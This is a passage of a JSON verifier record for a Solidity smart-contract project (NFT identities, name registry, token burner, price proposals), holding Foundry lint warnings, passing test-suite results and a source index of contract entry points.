'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:220:33\n    │\n220 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:42\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:64\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:33\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:55\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                                       ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:247:37\n    │\n247 │         if (at == 0) return (0, \"\", false);\n    │                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARP.sol:325:22\n    │\n325 │             out[i] = bytes16(\"0123456789abcdef\")[v & 15];\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes16' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMDNames.sol:67:63\n   │\n67 │     constructor(address identity, ILARP larp, address burner, address artist_, address intake, address oracleSigner)\n   │                                                               ━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:109:9\n    │\n109 │         LARPBurner(payable(BURNER)).burn{value: price}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:180:16\n    │\n180 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:123:24\n    │\n123 │         if (toll != 0) LARPBurner(payable(BURNER)).burn{value: toll}(minImd);\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:183:9\n    │\n183 │         emit Verdict(requestId, approved, a.agreed, a.panelSize);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:180:83\n    │\n180 │             && block.timestamp <= a.expiresAt && a.answer.length == 32 && uint256(bytes32(a.answer)) == 1;\n    │                                                                                   ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes32' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:182:23\n    │\n182 │         p.decidedAt = uint64(block.timestamp);\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:137:9\n    │\n137 │         emit NameRegistered(tokenId, label, to, price);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:153:13\n    │\n153 │             emit NameUnlinked(old, imdId);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:158:13\n    │\n158 │             emit NameUnlinked(tokenId, was - 1);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:162:9\n    │\n162 │         emit NameLinked(tokenId, imdId, holder, toll);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMDNames.sol:185:9\n    │\n185 │         emit NameUnlinked(tokenId, imdId);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMDNames.sol:181:22\n    │\n181 │         (bool ok,) = LARP.canAct(imdId, msg.sender);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:306:26\n    │\n306 │     function setRenderer(address renderer_) external {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:200:44\n    │\n200 │         if (p.status != Status.Approved || block.timestamp > p.decidedAt + EXECUTE_WINDOW) revert NotApproved();\n    │                                            ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SwarmPrices.sol:202:32\n    │\n202 │         if (lastChange != 0 && block.timestamp < lastChange + COOLDOWN) revert Cooling();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:206:22\n    │\n206 │         lastChange = uint64(block.timestamp);\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:302:36\n    │\n302 │             digits[i - 1] = bytes1(uint8(48 + frac % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/SwarmPrices.sol:318:15\n    │\n318 │             ++digits;\n    │               ━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SwarmPrices.sol:322:36\n    │\n322 │             out[--digits] = bytes1(uint8(48 + value % 10));\n    │                                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMDNames.sol:314:24\n    │\n314 │     function setArtist(address artist_) external {\n    │                        ━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n    ╭▸ test/LARPAgents.t.sol:139:28\n    │\n139 │         uint256 deadline = block.timestamp + 1 hours;\n    │                            ━━━━━━━━━━━━━━━\n140 │         bytes memory sig = _sign(ownerKey, 7, agent, owner, 0, deadline);\n141 │         vm.warp(deadline + 1);\n    │         ───────────────────── `vm.warp` changes this environment here\n    │\n    ├ help: capture it with `vm.getBlockTimestamp()` instead\n    ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":26831,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 11 tests for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP] test_ACrewBuysAndBurnsRealIMD() (gas: 0)\n[SKIP] test_ANameBuysRealIMDOnPool4AndBurnsIt() (gas: 0)\n[SKIP] test_ANameChangesHandsAndBurns() (gas: 0)\n[SKIP] test_ANamePaidInRealImd() (gas: 0)\n[SKIP] test_APriceProposalThroughIMDsRealIntake() (gas: 0)\n[SKIP] test_AnAgentRunsTheTreasurysIdentity() (gas: 0)\n[SKIP] test_AnIdentityWearsAWorkerFren() (gas: 0)\n[SKIP] test_RealProofsRefuseTampering() (gas: 0)\n[SKIP] test_TheHooklessPoolTakesWhatPool4Cant() (gas: 0)\n[SKIP] test_TheRealJeetBoard() (gas: 0)\n[SKIP] test_TheTreasurysCard() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 11 skipped; finished in 510.72µs (604.04µs CPU time)\n\nRan 14 tests for test/LARPItems.t.sol:LARPItemsTest\n[PASS] test_AFaceBecomesAnItem() (gas: 321185)\n[PASS] test_AnItemBecomesAnotherIdentitysFace() (gas: 306295)\n[PASS] test_EquipAnERC1155Copy() (gas: 195226)\n[PASS] test_EquipAnERC721() (gas: 228623)\n[PASS] test_OneCopyOnePlacement() (gas: 372050)\n[PASS] test_ReequippingTheSameCopyInTheSameSlot() (gas: 213412)\n[PASS] test_RefusedItems() (gas: 220243)\n[PASS] test_ReplacingAnItemFreesTheOldOne() (gas: 291522)\n[PASS] test_SellingACopyDarkensItsPlacementsUntilOneComesOff() (gas: 456264)\n[PASS] test_SellingTheIdentityDarkensItsItems() (gas: 360711)\n[PASS] test_SlotsAreOneToEight() (gas: 224747)\n[PASS] test_StrangersCantTakeItemsOff() (gas: 174966)\n[PASS] test_TheNewOwnerClearsTheOldItems() (gas: 343634)\n[PASS] test_ThePlacerTakesItsCopyBackAfterSellingTheIdentity() (gas: 399525)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 1.30ms (3.40ms CPU time)\n\nRan 24 tests for test/LARPLinks.t.sol:LARPLinksTest\n[PASS] test_AGasHungryTokenCantSinkTheBoard() (gas: 1737463)\n[PASS] test_AnInnerNodeIsNotALeaf() (gas: 1448373)\n[PASS] test_AnUnreadableTokenCountsAsHeld() (gas: 1784660)\n[PASS] test_BadAllocations() (gas: 1754999)\n[PASS] test_CaptainsRun() (gas: 952499)\n[PASS] test_Card() (gas: 1623640)\n[PASS] test_CrewFoundingRules() (gas: 906118)\n[PASS] test_Disband() (gas: 1530601)\n[PASS] test_FoundACrewWithImd() (gas: 1176613)\n[PASS] test_FoundingACrewBurnsIMD() (gas: 738746)\n[PASS] test_FrenRules() (gas: 383139)\n[PASS] test_FrensPassWithTheIdentity() (gas: 302573)\n[PASS] test_FrensTakeTwo() (gas: 266329)\n[PASS] test_JeetsAreReadLive() (gas: 2364108)\n[PASS] test_JeetsInPages() (gas: 8424463)\n[PASS] test_OpenAndClosedCrews() (gas: 1675553)\n[PASS] test_PassTheCaptaincy() (gas: 937577)\n[PASS] test_ProveAnAllocation() (gas: 1534389)\n[PASS] test_RanksAcrossLaunches() (gas: 5184173)\n[PASS] test_TheCaptaincyPassesWithTheIdentity() (gas: 757495)\n[PASS] test_TheRankIsTheHoldersNow() (gas: 1748137)\n[PASS] test_Tiers() (gas: 80885)\n[PASS] test_Unfren() (gas: 271974)\n[PASS] test_WithdrawAndDeclineAsks() (gas: 244060)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 6.67ms (20.55ms CPU time)\n\nRan 15 tests for test/SwarmPrices.t.sol:SwarmPricesTest\n[PASS] test_AProposalForOldPricesGoesStale() (gas: 3672902)\n[PASS] test_ARejectedProposalChangesNothing() (gas: 2232278)\n[PASS] test_AVerdictMustBeUsedWithinTwoWeeks() (gas: 2208993)\n[PASS] test_AWeakPanelIsARejection() (gas: 6235442)\n[PASS] test_AnExpiredVerdictIsARejection() (gas: 2192125)\n[PASS] test_AnyoneProposesAndTheContractWritesTheQuestion() (gas: 2850404)\n[PASS] test_ApprovedThenAnyoneExecutes() (gas: 3549382)\n[PASS] test_ExecutedOnce() (gas: 2252959)\n[PASS] test_Guardrails() (gas: 209261)\n[PASS] test_NoVerdictClosesTheProposal() (gas: 2224808)\n[PASS] test_OneChangeAWeek() (gas: 3735070)\n[PASS] test_OnlyTheIntakeDeliversAndOnlyForItsOwnProposals() (gas: 2218713)\n[PASS] test_OnlyTheOraclesSignatureForThisContractCounts() (gas: 2357130)\n[PASS] test_StartPrices() (gas: 58550)\n[PASS] test_TheOracleMustBePaid() (gas: 229593)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 7.11ms (15.65ms CPU time)\n\nRan 24 tests for test/LARP.t.sol:LARPFaceTest\n[PASS] testFuzz_OnlyTheHolderOfBothSetsAFace(address,uint256,uint256) (runs: 256, μ: 55978, ~: 56425)\nLogs:\n  Bound result 1\n  Bound result 9\n\n[PASS] test_AFaceComesBackWithBothTokens() (gas: 220934)\n[PASS] test_AMaskMovesToTheIdentityThatPutsItOn() (gas: 323750)\n[PASS] test_AvatarFormat() (gas: 249931)\n[PASS] test_ChangingMasksFreesTheOldOne() (gas: 274960)\n[PASS] test_ClearFace() (gas: 200738)\n[PASS] test_ClearingNoFaceDoesNothing() (gas: 36612)\n[PASS] test_FaceURIFallsBackOnABrokenTokenURI() (gas: 2152591)\n[PASS] test_OnlyTheIdentitysOwnerClears() (gas: 173845)\n[PASS] test_PuttingTheSameMaskOnAgain() (gas: 240094)\n[PASS] test_RefusesAMaskThatIsNotYours() (gas: 49187)\n[PASS] test_RefusesAnIdentityAsAMask() (gas: 41585)\n[PASS] test_RefusesAnIdentityThatDoesNotExist() (gas: 41653)\n[PASS] test_RefusesAnIdentityThatIsNotYours() (gas: 43653)\n[PASS] test_RefusesWhatIsNotAnNFT() (gas: 510494)\n[PASS] test_SellingTheIdentityTakesTheFaceDown() (gas: 252506)\n[PASS] test_SellingTheMaskTakesTheFaceDown() (gas: 223250)\n[PASS] test_SetFace() (gas: 266231)\n[PASS] test_SupportsInterface() (gas: 27637)\n[PASS] test_TheIdentitysNewOwnerClearsTheOldFace() (gas: 225470)\n[PASS] test_TheNewHolderOfAMaskTakesItOff() (gas: 321718)\n[PASS] test_TheNewOwnerMustChooseAgain() (gas: 327564)\n[PASS] test_WearerOfAnUnwornMask() (gas: 14020)\n[PASS] test_ZeroIdentityRefused() (gas: 4446)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 8.49ms (11.13ms CPU time)\n\nRan 14 tests for test/LARPAgents.t.sol:LARPAgentsTest\n[PASS] test_AContractWalletSignsWithERC1271() (gas: 431060)\n[PASS] test_ASignatureWorksOnce() (gas: 230440)\n[PASS] test_AnAgentCantNameAgentsOrTheWallet() (gas: 195871)\n[PASS] test_AnAgentDressesTheIdentityWithTheOwnersNFTs() (gas: 396334)\n[PASS] test_AnAgentLapsesOnASale() (gas: 317701)\n[PASS] test_AnAgentLinksTheOwnersNameAndSetsTexts() (gas: 974963)\n[PASS] test_AnAgentResigns() (gas: 193582)\n[PASS] test_AnAgentRunsFrensAndCrews() (gas: 1220167)\n[PASS] test_AnyAgentChangeVoidsOutstandingSignatures() (gas: 188002)\n[PASS] test_BadSignatures() (gas: 364692)\n[PASS] test_OnlyTheOwnerSetsTheAgent() (gas: 40977)\n[PASS] test_SignaturesExpire() (gas: 49228)\n[PASS] test_TheOwnerConnectsAnAgentInOneCall() (gas: 188975)\n[PASS] test_TheOwnerSignsTheAgentSends() (gas: 176447)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 9.18ms (4.21ms CPU time)\n\nRan 28 tests for test/IMDNames.t.sol:IMDNamesTest\n[PASS] test_ABrokenRendererFallsBackToTheCard() (gas: 10710728)\n[PASS] test_AFeeParksWhenNoPoolCanTakeIt() (gas: 8865984)\n[PASS] test_ANewOwnerPaysTheTollToLink() (gas: 1019453)\n[PASS] test_ARoyaltyPaymentIsBurned() (gas: 534546)\n[PASS] test_AnyoneRegistersAnyFreeName() (gas: 611321)\n[PASS] test_BadNames() (gas: 75963)\n[PASS] test_LinkRules() (gas: 227615)\n[PASS] test_LinkTheNameToAnIdentity() (gas: 188843)\n[PASS] test_NoImdPaymentWithoutBothPools() (gas: 233452)\n[PASS] test_OneNamePerIdentityOneIdentityPerName() (gas: 926784)\n[PASS] test_Prices() (gas: 63586)\n[PASS] test_Primary() (gas: 249650)\n[PASS] test_RegisterForSomeoneElse() (gas: 602296)\n[PASS] test_RegisterWithImd() (gas: 955021)\n[PASS] test_RegisterWithImdRespectsMaxImd() (gas: 784770)\n[PASS] test_RegisteringMintsTheNameAndBurnsTheFee() (gas: 647107)\n[PASS] test_RegistrationRules() (gas: 227789)\n[PASS] test_RoyaltiesGoToTheBurner() (gas: 40917)\n[PASS] test_SellingTheIdentityTakesItDown() (gas: 170604)\n[PASS] test_SellingTheNameTakesItDown() (gas: 207919)\n[PASS] test_ShortNamesHaveShortNameTolls() (gas: 650311)\n[PASS] test_TextRecordsStartOverWithANewHolder() (gas: 217164)\n[PASS] test_TheArtistChangesTheArtAndOnlyTheArt() (gas: 409849)\n[PASS] test_TheBuiltInCard() (gas: 3442034)\n[PASS] test_TheNamesNewOwnerUnlinksAStaleLink() (gas: 235869)\n[PASS] test_TheTollFollowsEveryChangeOfHands() (gas: 214656)\n[PASS] test_TheTollInImd() (gas: 1089230)\n[PASS] test_Unlink() (gas: 207574)\nSuite result: ok. 28 passed; 0 failed; 0 skipped; finished in 16.53ms (34.80ms CPU time)\n\nRan 4 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 190674)\n[PASS] test_FitsOneTransaction() (gas: 23185)\nLogs:\n  launch gas, four creations: 7030\n\n[PASS] test_PassesTheAdmissionScan() (gas: 17012486)\n[PASS] test_UnderTheCodeSizeLimit() (gas: 9813)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 31.45ms (32.14ms CPU time)\n\nRan 21 tests for test/LARPBurner.t.sol:LARPBurnerTest\n[PASS] test_AGenuineFailureIsNotMistakenForTooLittleGas() (gas: 836084)\n[PASS] test_ASwapOutOfGasReverts() (gas: 3106383)\n[PASS] test_AnEmptyPairPoolMeansItAllBurnsAsIMD() (gas: 814044)\n[PASS] test_AnIMD6900LegOutOfGasDeepDownReverts() (gas: 4734374)\n[PASS] test_AnIMD6900ThatWontBurnMeansItAllBurnsAsIMD() (gas: 776403)\n[PASS] test_AtMostMaxBurnPerCall() (gas: 2218838)\n[PASS] test_BurnImdBurnsWhatArrivesInIMD() (gas: 513373)\n[PASS] test_BuysOnPool4First() (gas: 1060290)\n[PASS] test_MinImd() (gas: 949204)\n[PASS] test_NoGasLimitSkipsAHeavyIMD6900Leg() (gas: 142291852)\n[PASS] test_NoGasLimitSkipsARoute() (gas: 15650200)\n[PASS] test_NoQuoteWithoutBothPools() (gas: 297225)\n[PASS] test_NoReentry() (gas: 462147)\n[PASS] test_OnlyThePoolManagerCallsBack() (gas: 32779)\n[PASS] test_ParkedWhenNoPoolCanAndBurnedLater() (gas: 1342476)\n[PASS] test_QuoteIsTheHigherOfTheTwoPools() (gas: 1116548)\n[PASS] test_RoyaltiesArriveByPlainTransfer() (gas: 44003)\n[PASS] test_ShareBuysIMD6900AndBurnsIt() (gas: 838562)\n[PASS] test_SpacingAboveV4sLargestReverts() (gas: 11267)\n[PASS] test_SpacingsAreTakenUnsignedAndKeptAsInt24() (gas: 28019)\n[PASS] test_TheHooklessPoolIfPool4CantTakeIt() (gas: 1172278)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 233.30ms (282.76ms CPU time)\n\nRan 1 test for test/LARP.invariant.t.sol:LARPInvariantTest\n[PASS]\nLARPInvariantTest invariants:\n[PASS] invariant_LiveMeansThePlacerHoldsIt\n[PASS] invariant_NoMoreLiveCopiesThanHeld\n[PASS] invariant_OneTokenOneSpot\n LARPInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+--------------+-------+---------+----------╮\n| Contract    | Selector     | Calls | Reverts | Discards |\n+=========================================================+\n| LarpHandler | equip1155    | 1203  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | equip721     | 1158  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveCopy     | 1130  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveIdentity | 1205  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveMask     | 1141  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | setFace      | 1151  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | takeOff      | 1204  | 0       | 0        |\n╰-------------+--------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.73s (26.73s CPU time)\n\nRan 10 test suites in 26.73s (27.04s CPU time): 145 tests passed, 0 failed, 11 skipped (156 total tests)\n","passed":true},{"durationMs":60,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDNames.approve(address,uint256)\",\"IMDNames.execute(bytes32)\",\"IMDNames.link(uint256,uint256,uint256)\",\"IMDNames.linkWithImd(uint256,uint256,uint256)\",\"IMDNames.lockRenderer()\",\"IMDNames.onNoVerdict(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"IMDNames.onVerdict(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"IMDNames.propose((uint64,uint64,uint64,uint64),uint256)\",\"IMDNames.register(bytes32,address,uint256)\",\"IMDNames.registerWithImd(bytes32,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256,bytes)\",\"IMDNames.setApprovalForAll(address,bool)\",\"IMDNames.setArtist(address)\",\"IMDNames.setPrimary(uint256)\",\"IMDNames.setRenderer(address)\",\"IMDNames.setText(uint256,string,string)\",\"IMDNames.transferFrom(address,address,uint256)\",\"IMDNames.unlink(uint256)\",\"LARP.clearFace(uint256)\",\"LARP.equip(uint256,uint256,address,uint256,uint8)\",\"LARP.resignAgent(uint256)\",\"LARP.setAgent(uint256,address)\",\"LARP.setAgentBySig(uint256,address,uint256,bytes)\",\"LARP.setFace(uint256,address,uint256)\",\"LARP.unequip(uint256,uint256)\",\"LARPBurner.burn(uint256)\",\"LARPBurner.burnImd()\",\"LARPBurner.receive()\",\"LARPBurner.unlockCallback(bytes)\",\"LARPLinks.disband(uint256)\",\"LARPLinks.foundCrew(uint256,bytes32,bool,uint256)\",\"LARPLinks.foundCrewWithImd(uint256,bytes32,bool,uint256)\",\"LARPLinks.fren(uint256,uint256)\",\"LARPLinks.invite(uint256,uint256,bool)\",\"LARPLinks.join(uint256,uint256)\",\"LARPLinks.kick(uint256,uint256)\",\"LARPLinks.leave(uint256)\",\"LARPLinks.passCaptain(uint256,uint256)\",\"LARPLinks.proveAlloc(uint64,uint256,address,uint256,bytes32[])\",\"LARPLinks.setOpen(uint256,bool)\",\"LARPLinks.unfren(uint256,uint256)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":68,\"AUDIT.md\":144,\"README.md\":179,\"foundry.toml\":30,\"launch.json\":49,\"src/IIMDNames.sol\":112,\"src/ILARP.sol\":120,\"src/IMDNames.sol\":358,\"src/LARP.sol\":330,\"src/LARPBurner.sol\":271,\"src/LARPLinks.sol\":457,\"src/Labels.sol\":53,\"src/SafeReads.sol\":63,\"src/SwarmPrices.sol\":331,\"test/Base.sol\":292,\"test/IMDNames.t.sol\":481,\"test/LARP.invariant.t.sol\":184,\"test/LARP.t.sol\":324,\"test/LARPAgents.t.sol\":269,\"test/LARPBurner.t.sol\":345,\"test/LARPItems.t.sol\":236,\"test/LARPLinks.t.sol\":515,\"test/Launch.t.sol\":134,\"test/MainnetFork.t.sol\":344,\"test/Mocks.sol\":89,\"test/SwarmPrices.t.sol\":340,\"test/fixtures/allocs.json\":118},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"0e7dd170e7268c9c87af864c4fac90e3ea34eaed8e2e78cb428f5a4540949e3a","verifiedTreeHash":"55def1cfa00b8b9e420c24cb4dca47904b41414a","verifierVersion":"0.1.0+fb8278c5"},{"checks":[{"durationMs":56467,"exitCode":0,"name":"build","output":"Compiling 92 files with Solc 0.8.26\nSolc 0.8.26 finished in 56.30s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:111:33\n    │\n111 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:120:64\n    │\n120 │         if (holder == address(0) || who == address(0)) return (false, holder);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:220:33\n    │\n220 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:121:36\n    │\n121 │         if (who == holder) return (true, holder);\n    │                                    ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:285:25\n    │\n285 │                 return (true, r);\n    │                         ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:288:25\n    │\n288 │                 return (false, \"\");\n    │                         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:294:21\n    │\n294 │             return (true, r);\n    │                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:296:21\n    │\n296 │             return (false, \"\");\n    │                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/Labels.sol:23:16\n   │\n23 │         while (n < 32 && label[n] != 0) ++n;\n   │                ━\n   │\n   ╰ help: 